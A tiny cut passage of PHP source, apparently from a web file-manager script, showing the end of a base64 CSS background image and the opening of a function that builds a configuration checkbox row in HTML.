Jggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '